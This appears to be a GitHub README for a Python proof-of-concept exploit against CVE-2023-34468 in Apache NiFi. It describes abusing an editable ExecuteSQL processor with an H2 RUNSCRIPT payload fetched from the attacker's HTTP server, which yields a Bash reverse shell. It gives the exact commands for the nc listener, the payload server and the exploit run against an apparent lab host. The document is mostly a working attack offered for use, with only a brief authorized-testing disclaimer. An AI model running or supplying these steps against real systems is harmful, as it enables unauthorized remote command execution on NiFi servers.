
CVE-2023-34468 Apache NiFi ExecuteSQL H2 RUNSCRIPT RCE PoC
Short Python PoC for abusing an editable Apache NiFi ExecuteSQL processor with an H2 RUNSCRIPT payload to trigger remote command execution through a Bash reverse shell.
For authorized testing and research only. Do not use against systems you do not own or have explicit permission to test.
ExecuteSQL processor update -> H2 RUNSCRIPT fetch -> Bash reverse shell -> processor restore
--processor-id manually.rce.sql payload that defines and calls a Java-backed shell execution alias.nc listener and HTTP server.rce.sql through H2 RUNSCRIPT.



git clone https://github.com/ozcanpng/CVE-2023-34468.git
cd CVE-2023-34468
python3 -m venv .venv
source .venv/bin/activate
pip install -r requirements.txt
Terminal 1:
rlwrap nc -lvnp 4444
Terminal 2, from this repo directory:
python3 -m http.server 8000
Terminal 3:
python3 CVE-2023-34468.py --url http://flow.helix.htb --lhost 10.10.16.53 --lport 4444
For manual processor selection:
python3 CVE-2023-34468.py --url http://flow.helix.htb --processor-id <UUID> --lhost 10.10.16.53 --lport 4444
| Product | Affected Version | Access Required | Impact |
|---|---|---|---|
| Apache NiFi | CVE-2023-34468 affected deployments using editable ExecuteSQL/H2 behavior | Ability to reach and modify the target NiFi processor through the API | Remote command execution |
rce.sql file is ignored by git and should be served from the repo directory with python3 -m http.server.--processor-id.ozcanpng — github.com/ozcanpng — ozcanpng.dev